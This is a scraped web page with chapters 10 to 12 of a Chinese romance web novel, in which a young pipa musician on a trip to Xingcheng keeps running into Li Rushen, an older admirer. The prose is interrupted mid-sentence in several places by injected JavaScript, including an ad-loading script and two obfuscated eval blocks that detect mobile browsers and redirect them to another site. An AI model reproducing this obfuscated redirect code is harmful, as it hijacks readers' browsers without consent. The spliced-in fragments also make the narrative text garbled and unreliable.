“我要替师姐去星城录个节目,你陪我一起去好不好?”祝星禾好声好气地说,“所有花费我全包,你还有工资拿,一天五百。” “不去。” “一天八百。” “不去不去,最讨厌坐飞机了。”说完就扯起被子蒙住了头,翻过身背对着祝星禾。 祝星禾用力拍了他一巴掌,气呼呼地说:“不去拉倒,哼!” 洗漱、化妆、收拾行李,只带了三天的换洗衣物、陪睡的杰拉多尼和几样零碎的小东西。 用手机叫完车,祝星禾背上双肩包,一手提着个二十寸的森绿色行李箱,一手拎着个豆青色玻璃钢琵琶盒,独自出门去了。 在通往机场的路上,他用GoPro拍了拍沿途的风景,抵达机场后,又拍了拍冲上云霄的飞机,都是Vlog的素材。 等办完值机才想起来给妈妈报备行程,祝佳音听说只有他一个人,不免有些担心:“你自己个儿能行吗?松沉不是闲着么,怎么不让他陪你一起去?” “怎么不行,我行着呢。”祝星禾说,“而且任师姐都帮我安排好了,下了飞机就有人接我,什么都不用我操心,你也甭操心。” “儿行千里母担忧,我怎么能不操心。”祝佳音谆谆叮嘱,“下飞机之后给我报个平安,到酒店之后给我发个定位,我得知道你在哪。手机及时充电,绝对不能关机,让我随时都能联系到你。” 祝星禾一一答应,挂了电话之后打开小红书,查起了星城的旅行攻略,打算趁机游玩一番。 下午一点多,飞机落地星城。 刚从出站口出来,祝星禾就看到了写着他名字的接机牌,举牌的是个短头发的年轻女孩。他径直朝她走过去,露出拘谨而不失礼貌的微笑:“你好,我是祝星禾。” 女孩直愣愣地看着眼前这个完美符合“白幼瘦”三个字的花样少年,惊讶地问:“你……你是任芳林的师弟?” 祝星禾点了点头:“是我。” 女孩又愣了几秒才回过神来,忙从祝星禾手中接过行李箱,边领着他往外走边自我介绍:“你好,我是《心电音》节目组的工作人员,我叫方灵子,你叫我小方或者灵子都行。” 祝星禾叫了声“灵子姐”,两个人就没怎么说话了。 出了机场,他们上了一辆黑色SUV,车上有司机,方灵子坐副驾,祝星禾抱着琵琶盒坐在后座。 司机驱车上路,方灵子低着头回了几条工作信息,侧过身和祝星禾说话:“小禾,你多大了?” 祝星禾收回看风景的目光,强迫自己和方灵子对视:“虚岁二十了。” 方灵子咂舌:“看起来真不像,我还以为你是高中生呢。” 祝星禾回以浅浅的微笑,方灵子又问:“既然你是任芳林的师弟,那你也是梅笑寒大师的徒弟咯?” “嗯,我是梅老师的关门弟子。” “那你之前录过节目吗?” “去年跟着梅老师和几位师姐上过B站的跨年晚会。” “那你很厉害啊,晚会可是直播,一点错都不能出。” 祝星禾谦虚一笑:“多亏了梅老师和师姐们带着我。” 名师出高徒,他的老师梅笑寒是当代琵琶大师,在国乐界享有盛誉,各种Title加身,他的师兄师姐们也都不是无名之辈,只有他这个才入师门不久的小师弟,尚且处于初出茅庐、无人知晓的阶段。 约莫一小时后,到了节目组安排的酒店,方灵子帮他办好入住,又把他送到房间,站在门口说:“待会儿我把谱子发你,你先自己练练,明天再去现场彩排,正式录制的时间要视彩排的效果来定,最早明天晚上,最迟不会超过后天。我还有事,得先走了,你有我微信,有任何问题随时联系我。” 交代完方灵子就匆匆离开了,祝星禾在房间里转了转,想起临行前祝女士的叮嘱,便掏出手机,把酒店的定位发过去,祝女士很快又发来两条注意事项。 祝女士:[千万不要用酒店的烧水壶,我看新闻上说有人用它煮内裤、煮袜子,埋汰得很。] 祝女士:[去应用商店下载个摄像头检测软件,查一查房间里有没有隐藏摄像头,听说现在偷拍特别猖獗,男孩子在外面也要保护好自己。] 回复完祝女士,祝星禾就去洗澡了。 星城是“四大火炉”之一,比西城还热,虽然他是不易出汗体质,也出了不少汗。 等他水灵灵地从卫生间出来,方灵子已经把谱子发过来,竟然是《壁上观》,这种他早就弹得滚瓜烂熟的大热曲,根本没有练习的必要。 明天才彩排,那今天就能出去玩啦! 出去玩肯定要拍照片拍视频,得好好拾掇拾掇。 把化妆包拿出来放在桌上,把化妆镜摆在中间,顺手打开补光灯,把手机支架放在化妆镜旁边,把手机放上去,而后点开抖音,开始直播。 [看到推送就啪的一下点进来了] [老婆你终于想起账号密码了] [半个月没动静,我还以为你弃号跑路了呢] [好久不见了小禾苗,俺想死你了555] “不好意思哈,这段时间一直在忙三次元的事,抖音和B站都停更了,等开学就好了,咱们还是相约每周四。”祝星禾边和粉丝聊天边着手化妆,时不时瞄一眼手机,一心三用,“今天只能播半小时,等化好妆我就要出门啦。你们猜猜我现在在哪儿?” [看后面的背景好像是酒店] [主页IP显示你在星城] [我就是星城人!求偶遇!] “没错,我现在在星城。” “偶遇就算了,我社恐。” “所以我很喜欢直播,既能满足我的表达欲,又能避免社交。” 华丽的礼物特效忽然占满了手机屏幕,是所有礼物中最贵的嘉年华,粉丝送一个嘉年华需要花费三万抖币,也就是三千元,主播和平台五五分成,各拿一千五。 接连收到两个嘉年华之后,祝星禾在快速滚动的留言板上捕捉到了熟悉的ID。 Flowinthedeep:[去星城做什么?] “你猜。”祝星禾皮了一下,旋即正经回答:“我来录个音综,给某位歌手当伴奏。” Flowinthedeep:[什么音综?] “这个……”祝星禾稍作踟蹰,“好像不能说,等播出就知道了。” 虽然方灵子没让他保密,但以他追星多年的经验,“偷跑”是粉圈大忌,可能会造成恶劣的后果,所以他还是谨言慎行的好。 直播间的观众越来越多,留言板的滚动速度越来越快,祝星禾看不过来了,索性看着镜子,边在脸上涂涂抹抹边说:“节目明天才开始录,今天没事儿,我就想出去逛逛。之前在机场候机的时候我在小红书上查了攻略,可是小红书上陷阱太多,我怕踩雷,就想开个直播问问星城本地的小伙伴,有没有好吃好玩的地方推荐,有的话可以给我发私信,谢谢啦。” 聊天也不耽误手速,化完妆一看时间,才播了不到二十分钟。 他接着收拾头发,用玉米夹弄了个卷毛小狗的发型,就算大功告成了。 “好了,我要准备出门啦,今天就播到这里吧,下次直播再见,比心~” 他做了个脸颊比心的动作,随即关掉直播,拿起手机,查看私信。 第一个看到的就是Flowinthedeep,因为他们是互关,而且他把他置顶了。 其实祝星禾玩抖音的时间并不长,高中课业繁重,要兼顾文化课和专业课,哪有闲心玩手机,他是从高考结束后才开始沉迷抖音和B站的。 刚开始只是看,看得多了就开始发,但也只是发着玩儿,即使点赞和评论都只有个位数也无所谓。 这种无人问津的状态持续了两三个月,直到国庆假期,纪松沉陪他回闽南老家探亲加旅游,他在蝶岛发了一条十几秒的簪花视频,这条视频莫名其妙地引来了泼天的流量,点赞量迅速突破一百万、两百万、三百万,粉丝数也蹭蹭上涨。 粉丝数涨到二十万的时候,他开了人生中第一场直播,刚开播不久就收到了一个嘉年华,当时他还不了解行情,很平静地表达了感谢,等纪松沉悄摸过来跟他说一个嘉年华要三千块,他吓死了,立即联系那个给他送嘉年华的人,通过转账把钱退了回去,对方不仅不收,还又送了个嘉年华——这个财大气粗的粉丝就是Flowinthedeep,简称Flow。 从那以后,他每次直播,Flow都会雷打不动地送两个嘉年华,单这一项收益就足够他一个月的花销了。虽然这种不劳而获的感觉很爽,但也很惶恐,不过惶恐着惶恐着也就习以为常了。他关注了Flow的账号,也聊过几次,但并没有很熟,勉强算是网友。 Flow:[好吃的推荐百果园37号,环境和菜品都很好,可以尝尝观音鸭和酸菜炒汤圆这两道菜,如果接受得了的话也可以试试口味蛇。好玩的推荐丰盈西街,游客没那么多,有很多有意思的小店,很好逛也很出片。] 祝星禾用纸笔把重点记下来,顺便和他聊聊天。 小禾不是花:[你不是西城人吗,怎 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 么对星城也这么了解?] Flow:[因为工作在星城住过半年,算不上了解。] Flow:[你一个人去的星城吗?] 小禾不是花:[对呀,我一个人。] Flow:[怎么不找个人陪你?] 小禾不是花:[愿意陪我出远门的朋友有两个,一个暂时不在西城,另一个有飞机恐惧症,我只能自己来了/委屈] Flow:[如果你想的话,我可以去星城找你。] 祝星禾有些惊讶。 Flow刚出现在他的直播间的时候,纪松沉就言之凿凿:“男的大把大把给你花钱,要么是爱你,要么是想睡你。这个Flow百分百对你有非分之想,那些嘉年华就是糖衣炮弹,成为你的‘金主爸爸’只是攻略你的第一步,最终目的就是让你在床上叫爸爸。” 然而从去年十月份到现在,他和Flow互关都快一年了,聊天的次数两只手都数得过来,甚至连微信都没加过。虽然他们同在西城,Flow却从未提过面基的要求,他们始终停留在“网络一线牵”的状态,一明一暗,半生不熟。 此刻Flow突然提出见面,如果是在西城,他肯定会一口答应,可是,在一个陌生的城市和一个陌生的男人见面,似乎有点危险,他不敢。 正犹豫不决,Flow又发来一条:[如果不方便就算了。] 祝星禾回了一张黄油小熊捧脸卖萌的表情包,含含糊糊地结束了这场简短的聊天。 他把粉丝们发来的私信都看了一遍,挑挑拣拣,做了一篇简明扼要的旅行笔记,塞进他的雨蛙包包里。 出门前的最后一件事当然是换衣服。 星城实在太热了,他得穿得清凉点儿——上身穿了件女款的波西米亚风吊带背心,露着雪白的肩和一截细腰,下身搭了条宽松的牛仔短裤,露着两条修长白皙的腿,最后再戴一枚太阳花耳钉和一条彩虹白马锁骨链,今日OOTD就完成了。 虽然吊带刚好遮住了左肩那块疤,但他还是贴了张纹身贴,让伤疤上绽开一朵小玫瑰。 从头到脚喷一遍防晒喷雾,戴上蓝牙耳机,背上雨蛙包包,拿上GoPro,祝星禾开开心心地出门了。 为了赶飞机,早饭和午饭都没吃,他现在饥肠辘辘,所以第一站先去Flow推荐的百果园37号吃饭。 进门一看,环境果然不错,有小桥流水,有翠竹黄花,还有亭台楼阁,很有古代园林的清雅风致。 这里没有大厅,他独占一个古色古香的小包厢,点了Flow推荐的观音鸭和酸菜炒汤圆,外加一道灵芝鹧鸪汤,足够他一个人吃了。 搔首弄姿地拍了一堆照片,服务员开始上菜了。 必须让手机先吃,一边拍一边被香味勾得直流口水。放下手机,拿起筷子,迫不及待地夹了一颗炒得黄灿灿的汤圆,小心翼翼地咬一口,顿时齿颊生香,好吃到他差点发出综艺节目里嘉宾吃到美食时所发出的那种夸张又做作的声音。 之后上来的观音鸭和鹧鸪汤也相当美味,他大快朵颐,配着米饭把两菜一汤吃得干干净净,都吃撑了,他不得不使劲吸气,免得露出小肚子。 结完账出来,看看时间,还不到五点,离天黑还有两三个小时呢。 他掏出之前做的笔记,按照手绘的路线图,开始Citywalk。 一边慢慢走着,一边往家庭群里发美食照片,馋一馋其他人,尤其是纪松沉,让他后悔去吧,哼。 突然有人靠近,祝星禾急忙停住脚步,抬头看向拦路的人,是个染着一头绿发的女孩。 “你好,”女孩笑着冲他摆摆手,“请问你是抖音上那个簪花少年吗?” 祝星禾不是第一次被这么问了,不过之前都是在学校和店里,在外面还是头一回,他轻轻点头:“我是。” “我有关注你,你本人比视频里还好看。”女孩炯炯有神地盯着他,“我可以和你拍张照吗?” “啊,当然可以。”祝星禾赧然一笑,“你、你想怎么拍?” 女孩把手机交给站在不远处观望的闺蜜,让她多拍几张。 拍完照,女孩问他可不可以加微信,他婉拒了,女孩也不失望,又热烈地夸了他几句,才拉着闺蜜走了。 祝星禾微微松了口气,E人太可怕了,像他这样的I人就绝对不会主动和陌生人搭讪,除非迫不得已——与此同时,他又为这种只能从女孩子身上感受到的善意而心怀感激,这个世界真的不能没有女孩子。 见旁边有家咖啡店,他进去买了杯冰美式,顺便吹会儿空调,这地方快把人热化了。 一路走一路拍,走到水陆洲,先乘坐小火车在陆地上逛了一小圈,又乘坐游轮在水上绕了一大圈,下船后再坐小火车返回起点,继续走走走,走到碧虚山,坐观光车上去,欣赏了一场几乎催人泪下的美丽夕阳,本想坐滑道下山的,可惜过了运营时间,只好腿着下去,又拍了许多风景照。 日落月升,夜色终于降临,总算没那么热了。 祝星禾走不动了,打车前往丰盈西街。 其实丰盈西街离百果园37号特别近,他很想再回去大吃一顿,又觉得应该尝尝别的,一番犹豫后选择了后者。 到了丰盈西街,街上人头攒动。 是条古典与现代相融的街巷,文艺气息很浓厚。 漫长的Citywalk将能量耗尽,他是真的饿了,先找了家私房菜馆吃饭,吃饱了才有力气逛街。 正值饭点,店里没位置了,去隔壁那家看看,门口也有人在等位,他不想等,正打算去别处看看,忽然听见有人喊了一声:“小禾!” 祝星禾怔了下,循声看去,登时大吃一惊,不禁怀疑自己饿出了幻觉,否则李如深怎么会出现在这里? 10. 另类10 另类10 在偶像剧的世界里,男女主无论走到哪里都能频繁地偶遇,仿佛在对方身上装了定位。 祝星禾万万没想到,如此戏剧化的情节会发生在自己身上,他目瞪口呆地看着昨天才被他婉拒的相亲对象径直朝他走来,蓦然有股想要逃跑的冲动——风吹日晒了大半天,他的头发肯定乱了,妆应该也花了,而反观李如深,从头到脚都透着一种看似漫不经心实则处处用心的精致,耀眼得恍若自带光环,更衬得他蓬头垢面、黯然失色了。 逃肯定是逃不掉了,祝星禾只能强装出一副又惊又喜的模样,夸张地笑着:“李——” 刚开口就卡壳了,直呼其名太不礼貌,叫哥哥太自来熟,叫叔叔太夸张……灵光一闪,一声“先生”脱口而出,紧接着问:“你怎么会在这儿?” 李如深说:“进去再说。” 说着就牵住了祝星禾的手,拉着他往店里走。 虽然他和李如深已经没有继续发展的可能,但这种没有边界感的肢体接触依旧不让他反感,甚至止不住地小鹿乱撞——都怪李如深长得太帅,换个颜值没这么高的他就要报警了,颜狗就是这么双标。 李如深拉着他在靠窗的木质圆桌旁坐下,桌上空空如也,只有一瓶饮料。 “我点的菜还没上,”李如深把菜单推到他面前,“你看看想吃什么,让服务员加上。” “你点了什么?”祝星禾问。 “我点了豆瓣鱼、椒椒牛肉、烫饭,还有一份马蹄沙。”李如深一个一个指给他看,祝星禾的视线却落在他的手上,不禁在心里感叹:他的手真好看啊,就像小说里常写的那样,五指修长,骨节分明,简直是手控福音。 既然他点了两个荤菜,那祝星禾就点两个素菜:“我要炒藕尖和芝士薯条,外加一份椰芒泡鲁达。” 趁着李如深叫来服务员加菜,祝星禾起身去了卫生间。 凑近镜子细瞧,还好还好,头发不是很乱,妆也没花,感谢兰蔻和圣罗兰。 从卫生间回来,在李如深旁边坐下,祝星禾又问了一遍:“你怎么会在星城?” 李如深的目光不着痕迹地从他躶露的腰肢移到他的脸上——昨天他是素颜,出水芙蓉般清纯,今天他化了妆,夭桃秾李般娇艳,淡妆浓抹总相宜。 猝不及防地四目相对,祝星禾硬挺着没躲,李如深的眼神明明很沉静,可不知怎的,祝星禾却隐隐约约地感觉到一种侵略性,仿佛那幽深的目光之下隐藏着汹涌的暗流。 “我来出差。”李如深一贯的言简意赅,“你呢?” “喔,我、我替师姐来录个节目。”祝星禾局促地笑了笑,“我们昨天才认识,今天又在几千里之外的星城偶遇,这样的小概率事件通常只会在偶像剧里发生。” 李如深说:“或许这就是缘分。” 他的语气和他的表情一样平淡,祝星禾完全看不出这次不期而遇对他的心情有什么影响,这是个不容易被看透的男人。 祝星禾不知道该说什么了,他也不想再像昨晚那样搜肠刮肚地寻找话题,于是转眼看向窗外熙来攘往的行人,忽然想起Flow说这里的游客没那么多,随手拿起手机拍了张照片,而后点开抖音,把刚拍的照片发给Flow,紧接着又发了一句:[人超多!] 放在桌上的手机接连响了两声,李如深拿起手机,扫了眼屏幕,又抬眼看向祝星禾。 祝星禾若无所觉,继续打字:[我在丰盈西街的一家小餐馆里碰到了认识的人/裂开] 对面很快回复:[是你讨厌的人吗?] 小禾不是花:[不是讨厌……三言两语说不清。] Flow:[男的女的?] 小禾不是花:[男的。] Flow:[帅吗?] 小禾不是花:[超帅!!!] Flow:[有照片吗?让我看看有多帅。] 小禾不是花:[没有。] Flow:[现拍一张。] 祝星禾偷觑李如深,发现他也在看手机,而且唇角微微上翘,似乎在笑。 小禾不是花:[不行,偷拍是犯法的。] Flow:[既然他“超帅!!!”,那你喜欢他吗?] 小禾不是花:[帅哥谁不喜欢,不过是那种始于颜值止于颜值的肤浅的喜欢,只可远观但不可亵玩/狗头] Flow:[那你想睡他吗?] 祝星禾被这个问题勾起一点旖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14000718|148498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旎的幻想,但他很快就把那些少儿不宜的画面赶出脑海,退出抖音,摁下锁屏键。 他刚把手机放到桌上,余光看见李如深也把手机放下了。 气氛着实有些尴尬,祝星禾刚想打破沉默,服务员来上菜了,她把一盘一碗放下,笑着说:“李先生,不好意思,让你久等了,这份水果沙拉是赠品。” 李如深也露出些许笑容:“没关系。” 等服务员走了,祝星禾低声问:“你是这里的常客吗?” “我常来星城出差,需要一个稳定住所,就在这附近买了套公寓,也算是一种投资。”李如深一边说,一边用湿巾仔细擦拭着一双筷子,“这条巷子和相邻的百果园巷有几家不错的私房菜馆,我每次出差都会过来吃饭,勉强算是常客吧。” 祝星禾轻笑着说:“我之所以会来这里,也是一个朋友推荐的,你刚提到的百果园,他也推荐了,我才去吃过,确实不错。” 李如深微抬眼帘看着他:“星城本地的朋友吗?” 祝星禾摇了摇头:“不是,网友而已。” 李如深没多问,把擦干净的筷子递过来:“尝尝这家的菜合不合你的胃口。” 祝星禾甜声道谢,接过竹筷,从红红绿绿的辣椒里搛了片牛肉,送进嘴里,慢慢咀嚼,牛肉软烂鲜香,咸辣也刚刚好,他来不及咽下去就掩口称赞:“好吃!” 李如深看着他莞尔一笑:“喜欢就好。” 李如深本就惜字如金,吃起饭来就更缄默了,祝星禾也秉承着“食不言,寝不语”的优良习惯,专注于口舌之欲,一顿饭下来,两个人说的话不超过十句。 单是李如深买的,从店里出来祝星禾就把AA的钱转了过去,李如深看到转账信息,也没推让,只问:“你要逛逛吗?我可以帮你拍照。” 祝星禾当然想逛,但他不想和李如深一起逛——这个男人实在太诱人了,只要和他在一起就不可能不被吸引,但祝星禾不想被他吸引,因为不会有结果。 “不逛了,我有点累了,想回酒店休息。”祝星禾面不改色地撒谎,“而且明天要弹奏的曲子我还没练习,得回去练练。” “我送你。”李如深用一种不容拒绝的口吻说,“走吧。” 11. 另类11 另类11 快走出巷子时,祝星禾看到一面海报墙,海报上高贵冷艳的大帅哥正是他的爱豆阮郁,来的时候竟然没注意。 等着和海报合照的人已经排起了长队,俨然成了打卡点,祝星禾不想错过,又不想耽误李如深的时间,还在踟蹰,小心思已被李如深看透,他说:“你先在这里排队,我去买杯咖啡,你想喝什么?” 每家店里卖的东西都不一样,为了不给李如深添麻烦,祝星禾只好笼统地回答:“除了咖啡,只要是甜的就行。”下午为了提神他喝过一杯咖啡,再喝今晚就别想睡了。 祝星禾走到队伍的末尾,刚站定,排在他前面的短发女生就扭头跟他搭话:“姐妹,你男朋友好帅,你吃得真好。” 既然被误认成姐妹了,以免对方尴尬,祝星禾便用伪音说:“他不是我男朋友,就是普通朋友。” 他的本音既不够男性化也不算特别女性化,乍一听分不清是男是女,但多听几句就能听出来是男孩子。 为了穿女装的时候不露馅,祝星禾遵循网上的教程,练了好久才练出伪音,他到现在都还记得那套教程的标题是《最适合男娘的软妹音教学》。可能是他学得不够到位,他的伪音其实没那么软妹,顶多算是正常的少女音。 听他这么说,女生一脸惋惜:“暴殄天物啊你,你长得这么漂亮,拿下他还不是易如反掌。” 祝星禾微微一笑:“你不了解他,他很难追的。” 女生点点头:“这太正常了,像他这种能靠脸吃饭的大帅哥,从小就是招蜂引蝶的主儿,眼光肯定比那些普信男高得多,可要是他连你都看不上,那就是眼瞎了,我要是男的肯定狂追你,你就是那种男女通杀的初恋脸。” 祝星禾有“夸赞羞耻症”,被人当面夸赞时容易红温,幸好天黑看不见。 “你也是阮郁的粉丝吗?”祝星禾转移话题。 “当然啦,”女生说,“在这儿排队打卡的,除了个别凑热闹的,基本都是软糖。” “软糖”是阮郁的粉丝名,是个极其庞大的群体,因为阮郁实在太红了,不管是作为歌手还是演员都吸粉无数。 “我是十年老粉,从阮郁出道那年就成了他的死忠,你呢?”女生问。 “他刚出道的时候我还在上小学,只知道玛卡巴卡。”祝星禾说,“我是从他加入Hertz乐队开始被圈粉的,也喜欢他三四年了。” 难得在现实中遇到同担,一聊起偶像,祝星禾就E起来了,两个人滔滔不绝,和他乡遇故知没什么区别。 聊得太投入,李如深回来的时候他甚至没第一时间察觉,还是留意到女生往他斜后方看,他才发现李如深不知何时站在了他身旁。 李如深肯定听见他用伪音说话了,却没有流露出丝毫大惊小怪的神情,仍旧用那种深邃而柔和的眼神注视着他,仿佛他身上所有的怪癖他都可以轻而易举地接受,仿佛他身上那些负面的标签对他来说都微不足道。 李如深把手中的饮料递过来:“开心果抹茶,尝尝好不好喝。” 白色的椰乳和绿色的抹茶液交融在一起,是祝星禾喜欢的颜色。李如深已经帮他插好吸管,祝星禾浅浅地吸了一口,果然冰爽清甜,他冲着李如深展露笑颜,话音里不自觉地带了几分软甜:“好喝,谢谢。” 李如深的喉结动了动,却没作声,只是目不转睛地看着他。 祝星禾用眼角余光瞥了瞥旁边的女生,而后一只手搭着李如深的肩,踮起脚尖凑到他耳边,轻声细语:“排在前面的女生以为我是女孩子,不要拆穿我。” 温-热的气息洒落在耳畔敏-感的皮肤上,犹如一个轻如蝉翼的吻,瞬间引燃了蓬-勃的慾望,李如深又硬了。他強忍着把祝星禾搂进怀里的冲-动,低低沉沉地“嗯”了一声。 祝星禾旋即和他拉开距离,转身背对他,继续和女生聊起来。 李如深缓缓吐息,一口气喝下去半杯冰美式。 排队十分钟,拍照三十秒,祝星禾察看照片,再次被李如深的拍照技术折服,他是真的很会拍,出片率百分百,每一张都可以原图直出。 除了抽烟这个致命缺点,这个男人几乎无懈可击,可惜……太可惜了。 从巷子出来,他们上了李如深的车,从劳斯莱斯换成了宝马,祝星禾之所以认识是因为纪灵慧也开的宝马。 “你住哪个酒店?”李如深问。 祝星禾记不清酒店的名字了,于是掏出手机,点开微信,查看他和祝女士的聊天记录,他之前发给祝女士的定位显示着酒店的名字和地址。他把手机举向李如深,手刚伸出去又猛地收回来,因为他的聊天背景是一张见不得人的裸-照! 祝星禾心虚地看向李如深,李如深若无其事地问:“怎么了?” 他应该没看到,祝星禾不着痕迹地松了口气,看着手机说:“香雪漫波度假酒店,兰溪湖分店。” 李如深没有使用导航,直接驱车上路。 祝星禾有点意外,只是因为出差就能对一个城市如此熟悉吗?他在西城生活了六年还是离不开导航,是他太菜了吗? 很快就驶到了江边,白天才游览过的景色在夜晚呈现出另一种美,既陌生又熟悉,因为西城也有这样一条江,他和李如深昨晚还在江边漫步。 “我就住在旁边这个小区。”李如深用眼神示意他往右看。 祝星禾透过车窗看出去,好高的江景房,虽然星城的房价无法和西城相提并论,也必定价值不菲。 有钱真好,可以四海为家。 不等祝星禾说点什么,手机突然响了一声,是来自多邻国的提示音,提醒他今天的学习时间到了。 多邻国的提示音比较个性化,只要用过这个APP就能听出来,所以李如深问:“你在学哪国语言?” “韩语。” “为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14000719|148498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了看韩剧?” “不是,这个说来话长。”祝星禾顿了顿,慢条斯理地说:“我喜欢吃甜食,嗜甜如命,可甜食吃多了容易胖,我又讨厌那些常规的运动,因为太枯燥了,于是我就拉上闺蜜报了个舞蹈班,每周三节课,既能保持身材,又很有趣,而且每学会一支舞还可以获得成就感。舞蹈班的女老师比你还大几岁呢,她是韩国女团f(x)的粉丝,教的基本都是这个团的舞,我是为了听懂那些歌才开始学韩语的。你听过f(x)的歌吗?” “我对韩国女团没什么了解,只听过大火的那几首。” “你要听听看吗?还蛮好听的。” “好啊。” 于是祝星禾连上车载蓝牙,开始一首接一首地播放f(x)的歌,从《Hot Summer》到《Electric Shock》,从《NU ABO》到《4 Walls》,动感十足的音乐正好填补了无话可聊的尴尬。 放到《初智齿》的时候,车停在了酒店门口,祝星禾点了暂停,车内顿时恢复了安静。 “你住在几号房?”李如深看着他问。 或许是李如深说话时的语气和表情总是过于严肃,也或许是来自年长者天然的威势,让祝星禾不由自主地想要顺从他,只能乖乖地回答:“3048。” 李如深没再多说什么,祝星禾向他道了谢,就下车了。 刚进房间,祝女士的语音电话就打了过来。 祝星禾点了接听,抢先开口:“妈,你猜我在星城遇见谁了?” 祝佳音几乎脱口而出:“不会是庄承吧?” 祝星禾愣了愣,他没想到祝佳音会第一时间想到庄承,他以为过去了这么久,祝佳音早就把庄承抛到脑后了。 “小禾?”祝佳音有些慌了,“你怎么不说话?” “你想哪儿去了,”祝星禾忙说,“我在星城遇见李如深了。” 祝佳音明显松了口气,话音转为平淡:“怎么会遇见他?” “他说他来出差,我去玩的那条街刚好在他住的地方附近,就碰上了。” “你们俩还真挺有缘。” “纯属巧合而已。” “你现在在哪儿呢?” “刚回酒店,准备洗个澡就睡了。今天走了好多路,累麻了。” “别忘了锁门,防盗链一定要插好。” “好啦,你也早点休息吧,别操心了。” 挂了电话,祝星禾就赶紧去洗澡了,急着洗掉一身臭汗。 十几分钟后,他香喷喷地从淋浴间出来,用自带的毛巾擦干身体,开始涂身体乳。 纪松沉不在,都没人帮他涂后背了,每当这时候他就忍不住想,如果有个男朋友就好了。 猝然响起的门铃声惊得他打了个激灵。 祝星禾没作声,蹑手蹑脚地走到门后,透过猫眼往外看—— 又是李如深! 12. 另类12 另类12 祝星禾手忙脚乱地穿上睡衣睡裤,小跑着过去打开房门,略显惊讶地问:“李、李先生,你怎么来了?” 开门的动作带起一缕轻风,鲜妍的秀色率先映入眼帘,馥郁的香气随即扑面而来,李如深的脑海中蓦然浮现一个饱含旖旎色彩的成语——活色生香。 眼前人显然刚出浴,头发还湿着,有些凌-乱的刘海垂在额前,几乎要遮住昳丽的眉眼。 那双黑白分明的眼眸水润而澄澈,天真又无辜,李如深不知道该用“狗狗眼”还是“小鹿眼”来形容更贴切,他从未如此词穷,像个脑袋空空的白痴。 祝星禾再次从李如深无波无澜的眼神中觉察到了侵略性,就好像……李如深正在明目张胆地视-奸他,像剥洋葱一样一层一层地剥-开他,奇怪的是他并不觉得冒犯,只是有些紧张,甚至……甚至还有一丝隐秘的期待。 明明李如深给他的初印象是禁欲系冷都男,可不知道为什么,他却总是能从李如深身上感受到蓬-勃的性-张-力,难道是他最近太饥-渴了?还是他脑补过度? 李如深举起手中的购物袋:“我来给你送点东西。” 购物袋是透明的,右边的大袋子装的是零食和饮料,左边的小袋子装的是药品。 祝星禾很想拒绝,因为他和李如深的关系有点尴尬,他没有接受这些馈赠的理由,他也不想再和李如深有任何牵扯。可人家已经把东西送上门了,如果拒之门外未免太不礼貌,毕竟他是ROOM的常客,还曾帮助祝女士躲过了一场电信诈骗。 “……谢谢你,”祝星禾勉为其难地笑了笑,伸手去接,“给我吧。” 李如深却躲开了:“挺沉的,我帮你拿进房间。” 祝星禾无可奈何,只能放他进去。 幸好房间里还算整洁,衣服什么的都没乱丢。 李如深把那一大袋零食放在桌上,顺手把椅子拎到床边,自顾落座,抬头看着祝星禾说:“过来。” 又是这种近乎命令的、不容拒绝的口吻,他平时一定经常发号施令——祝星禾一边腹诽一边顺从地走过去,臊眉耷眼地坐在李如深对面,双-腿并拢,双手搭在腿上,显得规矩又局促,像个做错事的小孩。 “昨晚特意叮嘱你要每天换药,”李如深的目光肆无忌惮地在那张姣好的面容上流连,“为什么没换?” 祝星禾眼帘低垂,看着膝盖处那两道起皱的创可贴,弱弱地问:“你怎么知道我没换?” 李如深温和地反问:“那你换了吗?” “……没有。”祝星禾心虚地觑他一眼,“早上出门的时候太着急了,你买的那些药忘了带,到这儿之后光顾着玩儿了,也忘了买。” 李如深没再多说,先小心翼翼地揭掉旧的创可贴,唯恐弄-疼了他,然后消毒、涂药,在贴上新的创可贴之前,他俯下-身,凑近伤处,轻轻吹气。 这是个异常温柔的举动,祝星禾的心被他吹得軟軟的,某个地方却被吹得膨胀起来,小处-男就是这样经不住一丁点撩-拨,动不动就精-虫上-脑。 情急之下,祝星禾抬手抵上李如深的肩膀,将他推开一点,嗓音蓦地有些喑哑:“别吹了……很痒。” 李如深抬起头,只见祝星禾面若桃花,眸光潋滟,红唇轻抿,一副含羞带怯、诱人采撷的情态,李如深动用了极大的毅力才没有扑上去亲吻他——他想要他,疯狂地想要他,他这辈子从未如此渴望得到一个人。 贴好创可贴,李如深立刻起身告辞,他怕再待下去他会做出什么冒犯祝星禾的举动。 祝星禾送他到门口:“你花了多少钱?我转给你。” 李如深神色如常:“你不是说以后要请我喝咖啡吗,就当我提前付了咖啡的钱吧。” 祝星禾:“……” 他好像会错意了。 他没从那条微信里Get到拒绝的意思吗? 他不像是那么迟钝的人啊。 难道他在揣着明白装糊涂? 仿佛没看到祝星禾困惑的表情,李如深说:“我走了,你早点休息,晚安。” 一声“拜拜”堵在了嗓子里,祝星禾默默看着李如深挺拔的背影,须臾后关上了房门。 李如深驻足,回头看了看空荡荡的走廊,继续往前走。 